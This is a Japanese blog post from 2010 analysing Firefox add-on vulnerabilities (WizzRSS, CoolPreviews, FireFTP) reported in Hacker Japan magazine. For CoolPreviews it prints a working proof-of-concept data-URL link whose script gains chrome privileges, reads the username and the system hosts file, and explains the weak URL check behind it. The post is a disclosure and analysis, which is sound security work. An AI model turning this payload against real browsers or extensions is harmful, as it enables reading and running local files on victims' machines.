ハッカージャパンにあったFirefoxアドオンの脆弱性

Hacker Japan (ハッカー ジャパン) 2010年 07月号 [雑誌]

Hacker Japan (ハッカー ジャパン) 2010年 07月号 [雑誌]

の冒頭でFirefoxアドオンに関する脆弱性があるというので読んでみた。

あげられたアドオンは

の3つ

FireFTPはまだ調べてない(なんとなく見つけるのが大変そうな気がしたので後回しにした)

WizzRSSは上記説明でなんとなく予想が付いて、RSSのdescription要素の中身をサニタイズせず(というべきか分からないが)そのまま表示したためだろう。XULアプリにはHTML文字列のscriptタグなどを取り除くnsIScriptableUnescaseHTMLというものがあり、それを使用しなかったのだろうと思ったら、

Disclaimer: While I have made every effort to ensure that versions of Wizz RSS downloaded from this page are vulnerability safe, I can not guarantee that they are 100% free of vulnerabilities. The method prescribed by Mozilla for sanitizing HTML (nsIScriptableUnescapeHTML.parseFragment()), which has been implemented in the Wizz RSS code, is itself subject to vulnerabilities.

Download Nag Free Version

とページに書かれていた。現在は既に修正されている。(AMOからはページが削除されている様だが....)

次、CoolPreviewsである。

結論、ヤバイXSSなんて代物じゃない。ほぼ、任意のコードを実行できる。使用している方は即アンインストールしましょう

この拡張機能は、リンク先をマウスオーバーすると右にアイコンが表示され、それをクリックするとページ遷移することなくリンク先をプレビュー表示できるもの。

以下、実証コード(ログインしているユーザ名とhostsファイルの中身を表示するだけのもの)。
Components.classesだとかComponents.interfacesだとか見慣れないものがあるが、これはFirefox内部のシステム特権がないとアクセスできないオブジェクトである。それに簡単にアクセスできてしまうのだ。システム特権があれば、ローカルファイルの読み書きや実行、クロスドメインXMLHttpRequestが可能であり、ほぼ何でもありだ。

<html>
<head>
    <title>CoolePreviews(ver 3.1.0521)の脆弱性</title>
</head>
<body>
<p><a href="data:text/html,<script>'https://';
const Cc = Components.classes,Ci=Components.interfaces;
function w(str){document.write(str);}
w('<p>Your name is '+Cc['@mozilla.org/userinfo;1'].getService(Ci.nsIUserInfo).username+'</p>');
var xhr=new XMLHttpRequest;
var os=Cc['@mozilla.org/xre/app-info;1'].getService(Ci.nsIXULRuntime).OS;
var fileURL= (os=='WINNT')?'file://C://WINDOWS/system32/drivers/etc/hosts':'file:///etc/hosts';
xhr.open('GET',fileURL,false);xhr.send(null);
w('<pre>'+xhr.responseText+'</pre>');
</script>">hoge</a></p>
</body>
</html>

http://gyazo.com/e13d97795d54f4a6eefaeb8d1c9c0eb7.png

この拡張はリンク先のhrefを読み取ってプレビュー時にbrowser要素(iframeの様なもの)でloadURIしている。通常のプロトコルのhttp等ならそれなりの権限で実行されるのだろうが、dataURLだと実行したスクリプトの権限(この場合拡張からなのでシステム権限)になってしまうのではなかろうか。
一応、a.href.toString().indexOfでhttpやhttpsがないか見ているようだが、やり方がindexOf('http://')!=-1)なので、http://という文字列が何処かにあれば良くなってしまっている。
こりゃダメでしょ。

コードもhttp://gyazo.com/c8ee2383be4407a908bfd72cc1dc38b4.pngの様に微妙に難読化されているし、AMOのレビューする人も正常系だけ確認して終わっちゃったんでしょうね。

ハッカージャパン中ではレビューの強化とGoogleChromeの様なサンドボックスの導入を謳ってたけど...。

FireFTP について (追記:2010-06-22)

だそうです。
ということで、WizzRSSと同じく、キケンなタグ等は取り除く必要があったということなのだと思う。
何となく思いついたんだけど、UTF-7問題と組み合わせるとどうなるんだろう。<,>を単純にエスケープしても防げない可能性もあり?